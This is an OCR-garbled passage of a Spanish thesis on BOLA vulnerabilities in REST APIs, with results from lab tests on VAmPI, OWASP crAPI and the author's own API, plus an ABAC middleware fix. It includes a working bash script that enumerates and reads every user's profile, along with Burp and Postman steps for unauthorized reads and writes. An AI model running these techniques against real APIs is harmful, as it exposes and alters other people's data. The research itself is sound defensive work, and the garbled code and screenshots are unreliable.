echo -e "\n${BLUE}[1/4] Login como $ATACANTE_USER...${NC}"

RESPUESTA_LOGIN=%(curl -s -X POST http://localhost:5000/users/v1/Login \

-H "Content-Type: application/json" \

-d
"{\"username\":\ "$ATACANTE _USER\", \ "password\":\ "$ATACANTE _PASS\"}")

TOKEN=%(echo "$RESPUESTA LOGIN" | jq -r '.auth_token' 2>/dev/null)

if [ -z "$TOKEN" ] || [ "$TOKEN" = "null" ]; then

echo -e "${RED} X Error: No se pudo obtener token${NC}"

exit 1

fi

echo -e "${GREEN} Z Token obtenido${NC}"

echo -e "\n${BLUE}[2/4] Escaneando todos los usuarios...${NC}"

RESPUESTA=$(curl -s -X GET "http://localhost:5000/users/v1" \

-H "Authorization: Bearer $TOKEN")


http://localhost:5000/users/v1/login
http://localhost:5000/users/v1

MITIGACION DE VULNERABILIDAD BOLA EN APIS REST

USUARIOS=$(echo "$RESPUESTA" | jg -r '.users[] | select(.username
null) | .username' 2>/dev/null)

if [ -z "$USUARIOS" ]; then

echo -e "${RED} X Error: No se encontraron usuarios${NC}"

exit 1

fi

TOTAL=$(echo "$USUARIOS" | wc -L)

echo -e "${GREEN} [Z Se encontraron $TOTAL usuarios:${NC}"

echo "$USUARIOS" | sed 's/~/ - /'

echo -e "\n${RED}[3/4] jATACANDO A TODOS LOS USUARIOS!${NC}"

echo -e "${YELLOW}EL atacante $ATACANTE_USER intentard acceder a
todos...${NC}\n"

CONTADOR=6

VICTIMAS=""

for USUARIO in $USUARIOS; do
# Evitar el escaneo del propio usuario atacante

if [ "$USUARIO" = "$ATACANTE_USER" ]; then

67
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continue

fi

# Interaccion directa con el endpoint de recurso especifico
manipulando el objeto URL

RESULTADO=$(curl -s -X GET "http://localhost:5000/users/v1/$USUARIO"

\
-H "Authorization: Bearer $TOKEN")
# Evaluacion sintdctica de Lla respuesta
if echo "$RESULTADO" | grep -q "$USUARIO"; then
EMAIL=$(echo "$RESULTADO" | jq -r '.email // "N/A"' 2>/dev/null)
printf "%-20s | %-46s | ${RED}%s${NC}\n" "$USUARIO" "$EMAIL" " @
SI (BOLA)"
CONTADOR=$( (CONTADOR + 1))
VICTIMAS="$VICTIMAS $USUARIO"
else
printf "%-20s | %-46s | ${GREEN}%s${NC}\n" "$USUARIO" "N/A" " @
NO"
fi
done
echo "s============================================"
e

echo -e "\n${BLUE}[4/4] RESUMEN FINAL${NC}"
echo " @ Atacante: $ATACANTE _USER"

echo " g8 Total de usuarios: $TOTAL"


http://localhost:5000/users/v1/$USUARIO
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echo " @ Usuarios atacados: $((TOTAL - 1)) (excluyendo al atacante)"

echo -e "[4 Accesos exitosos (BOLA): ${RED}$CONTADORS{NC}"

if [ $CONTADOR -gt @ ]; then
echo -e "\n${RED} @ ;VULNERABILIDAD BOLA CONFIRMADA!${NC}"
echo "EL atacante $ATACANTE USER pudo acceder a:"
for V in $VICTIMAS; do

"o gy

echo

done

echo -e "\n${YELLOW} ¥ CONCLUSION:${NC}"

echo " [& La API NO valida que el token pertenezca al usuario
solicitado”

echo " [& Cualquier usuario autenticado puede ver datos de todos Llos
usuarios registrados en este escenario de prueba mediante el endpoint
evaluado”

echo -e " ${RED} & Esto viola el principio de Control de Acceso a

Nivel de Objeto (BOLA)${NC}"
else

echo -e "\n${GREEN} @ No se detectd BOLA en esta prueba${NC}"

chmod +x atacar_bola final.sh

Figura 18

Parte 1 resultado atacar_bola_final.sh
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~

./atacar_bola_final.sh

VAmPI - ATAQUE BOLA FINAL

namel
name2
admin
atacante
victimal
victima2

El atacante atacante intentara acceder a todos...

Usuario Email | ;Acceso?

namel maill@mail.com
name2 mail2@amail.com
admin admingmail.com
victimal victimal@example.com
victima2 victima2@example.com

Figura 19

Parte 2 resultado atacar_bola_final.sh

yendo al atacante)

El atacante atacante pudo acceder a:
- namel

al usuario solic

atos de todos los ust i registrados en este escenario de prueba mediante el endpoint evaluado

4.1.2. Desarrollo de Pruebas de Concepto OWASP crAPI
La prueba de concepto (PoC) se disefid con el objetivo de evaluar si la APl de OWASP crAPI valida
correctamente que el usuario que solicita un recurso especifico posee los permisos legitimos para
acceder a él. La metodologia de la prueba se centré en la manipulacién de los parametros de

identificacion de objetos en transito.
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El flujo de ejecucion de la prueba de concepto se detalla a continuacion:

¢ Inicio de Sesion y Autenticacion: Se inicid sesion en la aplicacion web crAPI

utilizando las credenciales validas del Usuario A.

Figura 20

Formulario de autenticacion web de crAPI.

Login

A proyecicfinshuse@gmai com

=D @

@ USo0NRADE et

o Generaciéon de Trafico Legitimo: Desde el panel de control del Usuario A, se
interactué con la funciéon de geolocalizacién del vehiculo asignado mediante la
activacion del boton "Refresh Location". Esta accidon obligd al navegador a
estructurar una peticion HTTP legitima dirigida al backend de la aplicacion,

solicitando las coordenadas del objeto propiedad del Usuario A.

Figura 21

Consulta legitima de ubicacién del vehiculo perteneciente al Usuario A
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Vehicles Details

5

©Q snssway

5 Pine 5y
15 wmas

W Forest 51 W Faeuat 51 WFomst St Fores 8t [

]

‘0 Wamuay 81 Gecge - @ e Te Y - Talk to me! & .
| D LT I S —pp——

@ RISOEFREE a0

T

S Walnot 31

3 Refresh Locason §

e Captura de la Peticiéon: Burp Suite intercepto la solicitud HTTP dirigida al endpoint
de geolocalizacién. La estructura de la peticion expuso un identificador unico en la
URL (UUID) correspondiente al vehiculo del Usuario A, acompafiado de una
cabecera de autenticacion estandar de tipo Bearer Token (Authorization: Bearer

<JWT_Usuario_A>).

Figura 22

Intercepcion a la solicitud HTTP
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zpJyNFgl Mopd COvp gy TTwDS0LZrn A AZEEY J1a1 5260w 1zHOS400T Bt KKe VL _wIKAbD2WMWCSRAYKA-11TF4) 3 Expires: 0
S5uMEy 7ZY0eShOPT0EnPk ULd FO)j UcI0pYZh fRShOE- sdKrl Zeid4I9v Ond fOYDHITt VuCEFt LMJKhKPhORH 14 Strict-Transport-Security: max-age=31536000 : includeSubDomains
10-FLSbZAhPBEHZSrRaDlWd] -z_ XGTwhDv GEnTpaYHVA0WW2_aEVIleiGKg 15 X-Frame-Options: DENY
10 DNT: 1 16 Content-Length: 184
11 Sec-GPC: 1 7
12 Connection: keep-alive 18 {
13 Cookis: chat_session_id=2e514a67-BaBS-4d51-b3b3-abaddSEedesl “carId":"f437Bd37- 6a19-4709-931a- 5037601 Tcd" ,
Sec-Fetch-Dest: empty “vehiclelocation":{
5| Sec-Fetch-Mode: cors nid®y 2,
Sec-Fetch-Site: sane-origin “latitude”:*31.284788",
7 Priority: u=0 "longitude”: " -92. 471176"
}

*ful IName " ; "USLIRATE B,
*email” "isascnorn.teleconggrail .con’

}

O« »

£ 0 highlights @@ & 2 | Search e 0 highlights
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o Extraccion de Identificadores del Objetivo: De manera paralela, se extrajo de

forma controlada el UUID del vehiculo perteneciente al Usuario B.

Figura 23

Visualizacién del recurso e identificador tnico del Usuario B.

Burp  Project Intruder Repeater View Help

Dashboard Target Prowy Intruder Repeater Collaborator Sequencer Decoder |
al -

m o Cancel ¢ BurpAl

Request

Pretty Raw Hex ) LI—
1 GET fidentity/apifv2ivehicle/899eab76-fadd-4dael-80ed- 4885d8c78e27/location HTTRS1.1

Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (¥11; Linux xB86_&64; rv:140.0) Gecko/20100101 Firefox/140.0

Accept: */#*

Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://127.0.0,1:8888/dashboard

Content-Type: application/json

2 Authorization: Bearer
ey JhbGci0iISUzIINL IS, ey JzdWIi0i JwcmSSZWNOL 2ZpbmFs dWl k ZUBnbWFpb 5] b201LCIpY 01 0] ESODE
BNThkyMTksImV4c CIEMTCc4M] M2NDAXOSw1icmIsZSIEInVzZHI1 O, bMuSy 4XPLwpWOTibnzBynyREE_exZ-Nk
LbRy1miSdNOKyV_HXOoVdobga3zhOhYc3fm2IME7nGdoky S0w-WEYy ZBKkEt 4h8] ABEG3Dpbh1 X2t zEy XLuH
FjdwWaC28W] Zx3nz2qd rMGGCoSdxwigMEIb1Ld L HOU- C10uYawDdLS¥k VfKPsYxzDEsPM1nWh - - UUnSghebe
fraMgsiwgdht gTwWahgWy HkmRGNEZOPSAL Qw424 y CTOWDVAEDL T3 fO0G_rSYsWiloWVnh3t Jrry GYVOAD
Dgd- XOVGEINr] vhNOQy FOa] uVGELgEcMeWEET iwfwIsoGZSERDOOpcRWACD

10 Connegtian: keep;alive

11 Cookie: chat_session_id=4ecce7dc-2063-4a2f-a912-elasf702143a

12 Sec-Fetch-Dest: empty

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin

15 Priority: u=0

0=l @ N Wk

e Aislamiento y Modificacion del Vector: La peticién original del Usuario A
capturada en el proxy fue redirigida al moédulo Repeater de Burp Suite para permitir

la manipulacién manual y el analisis iterativo de las respuestas del servidor.
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Figura 24

Solicitud HTTP original aislada en el médulo Repeater.

H Burp Project Intruder Repeater View Help

Dashboard Target Proy Intruder Repeater Collaborator Sequencer Decoder
0 -

m & Cancel ¢ BurpAl

Request

Pretty Raw Hex w0 n =
1 GET fidentity/fapisv2/vehicle/f4378d37-6319-4709-9315-b593d76017cd/ location HTTR/1.1

Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (¥11l; Linux x86_&4; rv:140,0] Gecko/20100101 Firefox/140.0

Accept.: #/7%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://127.0.0,1:8888/dashboard

& Content-Type: application/json

2 Authorization: Bearer
ey JhbGei0iISUZIINL IS, ey JzdWI1i01 Jwcm9SZWNOL 2ZpbmFsdwl k ZUBRbWEpb £57 b 201 LCIpY X041 0] ES0DE
SNTkyMTksImV4cCIEMTC4M] M2NDAXOSwicm9sZSIEInVzZXI1fO, bMuSy 4XPLwpWDTibnzBynyRKE _exZ- Nk
LbRy1miSdNOKvV_HXOoVdobga3zhOhYc3fm2IME7nGdoky S0w-WEYy ZBKKEt 4h8] ABEG3Dpbh1 X2t zEy XLuH
Fj dWACSEW] Zx3nz2qd rMGGCoSdxwigMEIb1Ld Lt HOU- C1lOuYaw04LSKk VI KPsY xzD8sPNLnWh - - UUn8ghehe
fraMosiWgdht gTwWWahgWy HkmRGNEZSPSAL I Qwa2A Ty CTOWDVAEDL T3 fO0G_rSYsWilOWWnN3t Jrry GYVOAD
D d- XOVGESXrj vNOOy FOa] uVGBLgScMeWSET iwTfwlso GZSERDOOp cRWAC D

10 Connectian: keep;alive

11 Cookie: chat_session_id=decce7dc-2063-432f-3912-1a6f7021433

12 Sec-Fetch-Dest: empty

12 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin

15 Priority: u=0

16

I7

by I ST

¢ Inyeccion del Parametro: En el médulo Repeater, se modificé el segmento de la
URL reemplazando el <UUID_VEHICULO_A> por el <UUID_VEHICULO_B>,
manteniendo intacta la cabecera Authorization con el token criptografico que

identifica al Usuario A.
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Figura 25

Modificacién de la peticién inyectando el UUID del vehiculo de la victima.

5§ x +
ERe oo % BupAl
Request Response Q==
Pretty Raw Hex ) a W Pretty Raw Hex Rende = a w =

GET /i ¥2/vehicle/f4378437-6al9- 4709- 931a-bS03d760L 7ed/location HTTP/1.1 1 HTTP/1.1 200

Host .0.0,1:8888 Server: openresty/1.27.1.2

t: Mezilla/S.0 (X¥11; Linux ¥B6_64: rv:140.0] Gecke/20000101 Firefox/140.0 Date: Thu, 18 Jun 2026 06:49:06 GMT
4 Content-Type: application/json

Accept-Language: en-US,enig=0.5 Connectien: keep-alive

Accept -Encoding: gzip. deflate, br & Vary: Origan
7 Aeferer: http://127.0.0.1:68888/dashboard Vary: Access-Control-Request-Method

Content-Type: spplication/ison Vary: Access-Control-Request-Headers

Authorization: Bearer ®-Content -T:
ey JhbGe101JSUzI1
INTkyMThsInVacCI

-Optiens: nosniff
wFsdl k ZUBnbwWEpbCS) b201iLCIpY X0 0] ES00E ¥-¥SS-Protection: O
KI1F0, bMuSy 4PLYpWOTibnzByny FKE_exZ- Nk Cache-Control: no-cache. no-store. max-age=0. wust-revalidate
SOw-WEYy ZBKKEt 4h5j ABEGIDPbh1X2tzEy¥LUH 12 Pragma: no-cache
L5Hk VT D8sPNLNW - - LUnBghebe Expires: 0
SYSWLlOWVNNStIrryGYVOAD 14 Strict-Transport-Security: max-age=31536000 ; includeSubDonains
¥-Frame-Options: DENY
& Centent-Length: 184

J9. ey JzdWIi01 JwcmSSINN

-Fetch-Dest: empty 18/ {
-Fetch-Made: cors “carId*: 4378437~ 6al3- 4709- 931 a-b5SA47601 Ted ",
1 -Fetch-Site: same-origin "vehicleLocation":{

15 Priority: u=0 *id":2,

“latitude: "3
*longitude”: "

}
*ful lName" : "USUARIO B°,
“email*: “isaacmara.telecon@geail . con®

i

4.1.3. Desarrollo de Pruebas de Concepto API Propio
Para la validacion empirica del sistema se diseid una bateria de nueve pruebas funcionales
ejecutadas sobre la herramienta Postman contra la API propia corriendo en entorno local
(http://localhost:3000). Las pruebas se organizaron en dos bloques correlativos: el primero con
BOLA_MITIGADO-=false (Fase 2, escenario vulnerable) y el segundo con BOLA_MITIGADO=true
(Fase 3, escenario mitigado), usando los mismos actores y el mismo token JWT del atacante en

ambos bloques para garantizar la comparabilidad de los resultados.
Los actores definidos para el escenario de prueba fueron:

e Usuario Victima: nombre="Victor Victima", email=victor@test.com, id=1

¢ Usuario Atacante: nombre="Atacante Uno", email=atacante@test.com, id=2

El token JWT del atacante, emitido en la Prueba 4, contiene el claim id=2 ensu payload. Este

mismo token fue utilizado en todas las peticiones que requierenautenticacion en ambas fases.



MITIGACION DE VULNERABILIDAD BOLA EN APIS REST 76
41.3.1. Fase 2 - Escenario Vulnerable (BOLA_MITIGADO=false)

Tabla 6

Resultados de pruebas de concepto — Fase 2 (BOLA activa).

# | Descripcion Método | Endpoint HTTP Estado

1 | Health check del servidor. | GET /api/vl/ping 200 OK N4
Confirma modo: Fase 2

2 | Registro usuario victima. id=1 | POST /users/register | 201 Created |
asignado por la BD

3 | Registro usuario atacante. id=2 | POST /users/register | 201 Created |
asignado por la BD

4 | Login del atacante. JWT emitido | POST /users/login 200 OK V4
con id=2

5 | BOLA - Lectura no autorizada. | GET Jusers/1 200 OK A BOLA
Token id=2 accede a id=1

6 | BOLA - Escritura no autorizada. | PUT Jusers/1 200 OK A BOLA

Token id=2 modifica datos de id=1

Prueba 1 - Detalle del resultado (Health check):

Peticion: GET /api/v1/ping (sin autenticacion)

Respuesta: 200 OK

Body:
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"mensaje": "API_PROPIA funcionando”,

"version": "v1",

"modo": "Fase 2 - BOLA activa (vulnerable)",

"timestamp": "2026-06-18T02:31:55.863Z"

Analisis: El servidor confirmd estar operativo y activo en Fase 2. El campo "modo" expone
explicitamente el estado del sistema, lo que en el contexto experimental facilita identificar el
escenario activo antes de ejecutar cada bateria de pruebas. En este punto la variable
BOLA_MITIGADO=false esta en efecto, lo que significa que el middleware ABAC no realizara

ninguna verificacion de propiedad durante esta fase.

Figura 26
Health check de la APl — modo Fase 2 activo, GET /api/v1/ping
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Prueba 2 - Detalle del resultado (Registro usuario victima):
Peticion: POST /api/v1/users/register
Content-Type: application/json
Body: { "nombre": "Victor Victima", "email": "victor@test.com",
"password": "pass1234", "rol": "user"

Respuesta: 201 Created

Body:

"mensaje": "Usuario registrado exitosamente”,

"usuario": {

"id": 1,

78
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"nombre": "Victor Victima",
"email": "victor@test.com",

"rol": "user"

Analisis: El sistema registré al usuario victima asignandole el id=1 mediante AUTOINCREMENT
de SQLite. La contrasefia fue almacenada como hash bcrypt (no visible en la respuesta),
cumpliendo la directriz NIST SP 800-63B. Este id=1 sera el identificador del objeto objetivo en las

pruebas de explotaciéon BOLA (Pruebas 5y 6).

Figura 27

Registro exitoso del usuario victima — 201 Created, POST /api/v1/users/register

¥

Mew Request
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7 New Request

=7 New Request
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test

? ENVIRONMENTS
» BPECS

» FLOWS

Prueba 3 - Detalle del resultado (Registro usuario atacante):
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Peticion: POST /api/v1/users/register
Content-Type: application/json

Body: { "nombre": "Atacante Uno", "emai

atacante@test.com”,

"password": "pass1234", "rol": "user" }

Respuesta: 201 Created

Body:

"mensaje": "Usuario registrado exitosamente",

"usuario": {

"id": 2,

"nombre": "Atacante Uno",

"email": "atacante@test.com",

"rol"; "user"

Andlisis: El sistema registré al usuario atacante con id=2. Es relevante destacar que ambos
usuarios poseen el mismo rol ("user"), replicando el escenario descrito por Rodriguez y Martinez
(2024): dos sujetos con privilegios equivalentes que invocan legitimamente los mismos endpoints,
pero que no deben poder acceder a los objetos del otro. Este escenario es precisamente el que

hace ineficaz al modelo RBAC vy justifica la adopcion de ABAC como contramedida.
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Figura 28

Reagistro exitoso del usuario atacante — 201 Created, POST /api/v1/users/register
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Prueba 4 - Detalle del resultado (Login del atacante - obtencion del JWT):
Peticién: POST /api/v1/users/login
Content-Type: application/json
Body: { "email": "atacante@test.com", "password": "pass1234" }
Respuesta: 200 OK

Body:

"mensaje": "Login exitoso",

"token": "eyJhbGciOiJlUzI1NilsInR5cCI61kpXVCJ9...",
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"usuario": {
"id": 2,
"nombre": "Atacante Uno",
"email": "atacante@test.com”,

"rol"; "user"

Andlisis: El servidor emitié un JWT firmado con HS256 cuyo payload contiene el claim id=2. Este
token es criptograficamente valido y auténtico para el usuario atacante. A partir de este punto, el
atacante dispone de una credencial legitima que sera suficiente para que el middleware auth.js lo
considere autenticado en cualquier endpoint protegido - condicidon necesaria para la explotacion

BOLA en las pruebas siguientes.

Figura 29
Login del atacante y emision del token JWT - 200 OK, POST /api/v1/users/login
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Prueba 5 - Detalle del resultado (BOLA - Lectura no autorizada):
Peticion: GET /api/v1/users/1
Authorization: Bearer <token atacante, id=2>
Respuesta: 200 OK

Body:

"usuario": {
"id": 1,
"nombre": "Victor Victima",
"email": "victor@test.com",

"rol";: "user"
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Anadlisis: El servidor valido la firma del JWT (AuthN V) pero no verificd que el id del token (2)

coincida con el id del recurso solicitado (1). Los datos privados del usuario victima fueron

expuestos integramente al atacante, incluyendo nombre, email y rol.

Figura 30
Explotacion BOLA - lectura no autorizada del perfil de la victima, 200 OK - GET /api/v1/users/1 con

token del atacante id=2
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Prueba 6 - Detalle del resultado (BOLA - Escritura no autorizada):

Peticion: PUT /api/v1/users/1

Authorization: Bearer <token atacante, id=2>

Body: { "nombre": "Victor HACKEADO" }

Respuesta: 200 OK
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Body:

"mensaje": "Usuario actualizado",

"usuario": {

"id": 1,

"nombre": "Victor HACKEADQO",

"email": "victor@test.com",

"rol"; "user"

Analisis: El atacante logré modificar permanentemente el atributo nombre del usuario victima en
la base de datos. La API no rechazo la operaciéon de escritura porque Unicamente verificd que el
JWT fuera auténtico, sin comprobar la relacién de propiedad entre el sujeto (id=2) y el objeto
modificado (id=1). Este resultado demuestra que BOLA no solo expone datos (impacto de
confidencialidad) sino que también permite su alteracion (impacto de integridad), conforme a la

taxonomia CWE-639

Figura 31

Explotacion BOLA - modificacion no autorizada del nombre de la victima a "Victor HACKEADO",

200 OK - PUT /api/v1/users/1 con token id=2
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41.3.2. Fase 3 - Escenario Mitigado (BOLA_MITIGADO=true)
Para este bloque se activé el middleware ABAC editando BOLA_MITIGADO=true en el archivo
.env y reiniciando el servidor. Se reutilizdé el mismo token JWT del atacante (id=2) empleado en la
Fase 2, garantizando que la unica variable de control modificada entre ambos escenarios sea la
activacién del middleware, no las credenciales del atacante. Sobre la persistencia: la base no se
dejé otra vez en un volcado limpio de antes de la Fase 2. La Fase 3 parti6 de lo que quedo después
de las pruebas vulnerables, incluido el cambio de nombre de la victima en la Prueba 6. Eso no
rompe la comparacion. Aqui el criterio es binario y mira el codigo HTTP de autorizacion (403 vs
200) sobre id=1 e id=2, no si el campo nombre quedd intacto. Los objetos de prueba seguian

siendo los mismos registros (victima id=1, atacante id=2).
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Tabla 7

Resultados de las pruebas de concepto en Fase 3 (con ABAC activo).

# | Descripcion Método | Endpoint | HTTP Estado

7 | Intento de lectura no autorizada | GET Jusers/1 403 Forbidden | v ABAC
blogueado por ABAC. Token id=2,

recurso=1

8 | Intento de escritura no autorizada | PUT Jusers/1 403 Forbidden | v ABAC
blogueado por ABAC. Token id=2,

recurso=1

9 | Acceso legitimo al propio recurso. | GET Jusers/2 | 200 OK v OK

Token id=2 accede aid=2 (propio perfil)

Prueba 7 - Detalle del resultado (ABAC bloquea lectura):

Peticion: GET /api/v1/users/1

Authorization: Bearer <token atacante, id=2>

Respuesta: 403 Forbidden

Body:

"error": "Acceso denegado”,

"detalle": "El usuario autenticado (id=2) no es propietario

del recurso solicitado (id=1).",
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"mitigacion": "ABAC activo — Zero Trust aplicado"

Analisis: el middleware ABAC cortd la peticion. Sacé el id=2 del JWT y lo comparé con el id=1 del
parametro de ruta. Como no coincidian, respondi6 403 Forbidden y no llegé a consultar la base de

datos. En la respuesta va el campo mitigacion, que indica qué defensa se aplico.

Hacia el cliente la respuesta se deja genérica, para no filtrar identificadores ni detalles de la
autorizacion. Lo técnico (id del sujeto, id del recurso y la ruta) queda solo en los logs internos del

servidor.

Figura 32
Mitigacion ABAC: lectura bloqueada (403 Forbidden) en GET /api/v1/users/1 con token del

atacante id=2 y BOLA MITIGADO=true
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Prueba 8 — Detalle del resultado (ABAC bloquea la escritura):
Peticion: PUT /api/v1/users/1
Authorization: Bearer <token atacante, id=2>
Body: { "nombre": "Intento fallido" }
Respuesta: 403 Forbidden

Body:

"error": "Acceso prohibido",
"detalle": "El usuario autenticado (id=2) no es propietario
del recurso solicitado (id=1).",

"mitigacion": "ABAC activo — Zero Trust aplicado"



MITIGACION DE VULNERABILIDAD BOLA EN APIS REST 90

Andlisis: igual que en la prueba anterior, el middleware ABAC cortd la escritura antes de llegar al
controlador de la ruta. El nombre de la victima no cambié en la base de datos. Eso muestra que la

integridad de los datos quedd protegida.

Figura 33
Mitigacion ABAC: escritura bloqueada (403 Forbidden) en PUT /api/v1/users/1 con body "Intento

fallido" y BOLA_MITIGADO=true
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Prueba 9 — Detalle del resultado (acceso legitimo permitido):

Peticion: GET /api/v1/users/2

Authorization: Bearer <token atacante, id=2>

Respuesta: 200 OK

Body:
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"usuario": {
"id": 2,
"nombre": "Atacante Uno",
"email": "atacante@test.com”,

"rol": "user"

Andlisis: el middleware ABAC comprobd que token.id (2) coincide con params.id (2) y dejo pasar
la peticién con 200 OK. Con eso se ve que la mitigacidon no arma falsos positivos: el usuario sigue
pudiendo entrar a su propio recurso. Cumple el criterio de éxito de mantener la conformidad

funcional de la APl después de meter la defensa.

Figura 34
Acceso legitimo al propio recurso: 200 OK con ABAC activo, GET /api/v1/users/2 con token del

atacante id=2 y BOLA MITIGADO=true
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4.2. Andlisis de Resultados

4.2.1. Anadlisis de Resultados API Vampi
Luego de la ejecucidén controlada de la prueba de concepto automatizada en el entorno
experimental VAmPI, se obtuvieron hallazgos criticos sobre la arquitectura de control de acceso
de la APl analizada. Los datos recolectados proporcionan evidencia empirica clara del

comportamiento del sistema antes de la aplicacion de controles de mitigacion.

4.21.1. Diagnéstico del Comportamiento Ofensivo y Exposicion de Datos
El analisis del flujo de ejecucién del script de ataque mostrd que la API tiene una ausencia total de
validaciones cruzadas entre la identidad contenida en la firma del token JWT de la sesién y el

parametro u objeto solicitado directamente en la URI (/users/v1/<username>).

Los resultados métricos y légicos derivados de la PoC se sintetizan en los siguientes puntos clave:

o Efectividad del Vector Ofensivo: De un universo de 6 usuarios registrados en el
sistema (5 potenciales objetivos excluyendo la cuenta del atacante), el script logré

acceder con éxito al 100% de los perfiles objetivo-definidos en el laboratorio (5 de
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4.2.1.2.

5 potenciales objetivos, sobre un universo de 6 usuarios registrados, excluyendo la
cuenta del atacante).

Filtracion de Informacién Confidencial: El atacante obtuvo acceso inmediato a la
informacion clasificada como de uso privativo (direcciones de correo electronico
especificas y estructuras internas de cuentas) correspondientes a usuarios criticos.
Anadlisis del Mecanismo de Falla: La API se limitd a procesar el encabezado
Authorization: Bearer $TOKEN de manera genérica. El componente de software
validé que el token JWT fuera sintacticamente correcto y estuviera firmado por una
entidad de confianza (Mecanismo de Autenticacion Exitoso), pero no verifico si el
sujeto autenticado contaba con los privilegios requeridos para consultar el recurso
especifico del usuario solicitado en la ruta de la peticion (Fallo Critico de

Autorizacion Horizontal).

Matriz de Hallazgos Técnicos de la Vulnerabilidad BOLA

Con el propésito de organizar la evidencia para la siguiente fase de remediacién, se detalla el

comportamiento del trafico de red observado durante las interacciones con el protocolo HTTP:

Tabla 8

Trafico de red evidenciado durante las interacciones con el protocolo HTTP

Parametro / Componente Comportamiento Impacto en la Seguridad
Observado en el Entorno
Vulnerable

Endpoint Evaluado /users/v1/{username} Identificador de  objeto

expuesto en texto plano y
predecible a través de la
URI.
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Método HTTP

Token Suministrado

Cédigo de Estado HTTP

Payload de Respuesta

Los hallazgos recopilados demuestran de forma concluyente que la APl de pruebas infringe el
principio de minimo privilegio y carece de politicas légicas internas basadas en contextos de
propiedad (Data-centric validation). Esto confirma la viabilidad técnica del ataque BOLA dentro de

la infraestructura evaluada, sirviendo como linea base y justificacion para el desarrollo e

GET

Pertenece exclusivamente a
pruebaUIDE

200 OK

Datos completos del perfil
ajeno (email, etc.)

implementacién del modelo defensivo.

4.2.2. Analisis de resultados APl OWASP crAPI

Al transmitir la peticidn modificada hacia el servidor a través de Burp Suite, se obtuvo una
respuesta HTTP con codigo de estado 200 OK. El cuerpo de la respuesta (en formato JSON)
devolviéo con éxito los datos sensibles de geolocalizacién (latitud, longitud) y el nombre del

propietario asociados exclusivamente al vehiculo del Usuario B, a pesar de que la solicitud fue

firmada con el token de identidad del Usuario A.

Figura 35

94

Recuperacién directa de
recursos arbitrarios.

Valido en estructura, pero
sin relacién con las victimas.

El servidor concede el
acceso sin restricciones de
propiedad.

Violacion  total de la
confidencialidad de la
informacion.

Respuesta exitosa del servidor con los datos expuestos del Usuario B.
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Los resultados obtenidos confirman la presencia de una vulnerabilidad de Broken Object Level
Authorization (BOLA), clasificada en el puesto numero uno (API11:2019 / API1:2023) del Top 10

de Seguridad en APls de OWASP.

El fallo radica en que el microservicio encargado del endpoint GET
fidentity/api/v2/vehicle/{uuid}/location implementa controles de autenticacién (el token JWT es
valido y esta bien estructurado), pero carece por completo de controles de autorizaciéon a nivel
de objeto. El backend valida quién esta haciendo la peticién, pero no verifica si ese usuario
autenticado tiene el derecho o la relacion de propiedad para consultar el recurso especifico ({uuid})

solicitado en la URL.

El impacto derivado de este fallo de disefio en la API es critico. Un atacante malintencionado que
cuente con una cuenta valida en la plataforma podria automatizar peticiones (mediante técnicas
de fuzzing o enumeracién si los IDs fueran secuenciales, o mediante recoleccién de UUIDs por
otros canales) para exfiltrar de forma masiva las ubicaciones geogréficas en tiempo real de
cualquier vehiculo registrado en el sistema. Esto compromete directamente los pilares de

confidencialidad y privacidad de la informacién de los usuarios de la aplicacion.
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Para corregir el fallo identificado en esta prueba de concepto, la légica del backend debe
reestructurarse para adoptar un enfoque de control de acceso basado en relaciones (ReBAC) o
politicas estrictas de verificacion. El servidor debe ejecutar una consulta intermedia a la base de
datos para validar que el user_id extraido del token JWT coincida plenamente con el owner _id
registrado para el {uuid} del vehiculo solicitado antes de retornar cualquier tipo de informacion
sensible. Si esta validacion falla, la APl debe denegar el acceso devolviendo un cédigo de estado

HTTP 403 Forbidden o 404 Not Found.

4.2.3. Analisis de resultados API Propia
Los resultados obtenidos en las nueve pruebas de concepto permiten establecer conclusiones

técnicas concretas respecto a los objetivos planteados en el Capitulo 1.

4.2.3.1. Confirmacion del Vector de Ataque BOLA
En la Fase 2 se confirmé en la practica el vector BOLA (API1:2023 de OWASP / CWE-639). Con
un JWT valido del atacante (id=2) se pudo operar sobre la cuenta de la victima (id=1). En
confidencialidad, se leyo el perfil completo (hombre, email y rol). En integridad, se cambié de forma
permanente el nombre en base de datos a "Victor HACKEADQ?". El problema no estaba en la
autenticacion: el token se emitié y se verificd bien. Lo que faltaba era una capa de autorizacion
que revise la relacion de propiedad entre el sujeto autenticado y el objeto pedido. El servidor traté
AuthN valida como si bastara para AuthZ sobre cualquier recurso. Eso encaja con la taxonomia de

de Almeida y Bonifacio (2023).

La Tabla 9 sintetiza el impacto de la vulnerabilidad segun las dimensiones de la triada CIA

(Confidencialidad, Integridad, Disponibilidad):

Tabla 9
Impacto de BOLA en la triada CIA — Fase 2.

Dimensién CIA Impacto demostrado Prueba
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Confidencialidad Exposicion del perfil completo de la victima a un | P5 (GET)

usuario no autorizado.

Integridad Modificacion del nombre de la victima sin su | P6 (PUT)

consentimiento ni conocimiento.

Disponibilidad N No se demostré en este set de pruebas. El analisis | —
empirico de la Fase 2 se limité a GET/id (P5) y
PUT/:id (P6). DELETE/:id usa la misma cadena de
middlewares vy, por disefio, el mismo fallo légico de
autorizacién, pero su explotacion no entré en la

prueba de concepto. Por eso las conclusiones de

impacto quedan en confidencialidad e integridad.

4.2.3.2. Validacion de la eficacia del middleware ABAC
Las pruebas 7, 8 y 9 sirven para validar el componente defensivo en middleware/abac.js. Con eso
se cubre el objetivo especifico 4 del proyecto: implementar el modelo de mitigacion y comprobar

su eficacia con pentesting de regresion, mostrando que se elimina el fallo sin romper el uso normal

del sistema. El resumen de resultados esta en la Tabla 10:

Tabla 10

Comparacién de respuestas HTTP por endpoint y fase.

Peticion Resultado

Fase 2 (BOLA activa)

Fase 3 (ABAC activo)

GET /users/1

Token id=2 — rec. 1

200 OK

Datos expuestos

403 Forbidden

Acceso bloqueado

v ABAC efectivo

PUT /users/1

Token id=2 — rec. 1

200 OK

Datos modificados

403 Forbidden

Escritura bloqueada

v ABAC efectivo

GET /users/2

200 OK

200 OK

v Sin regresion
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Token id=2 — rec. 2 | Acceso legitimo Acceso legitimo

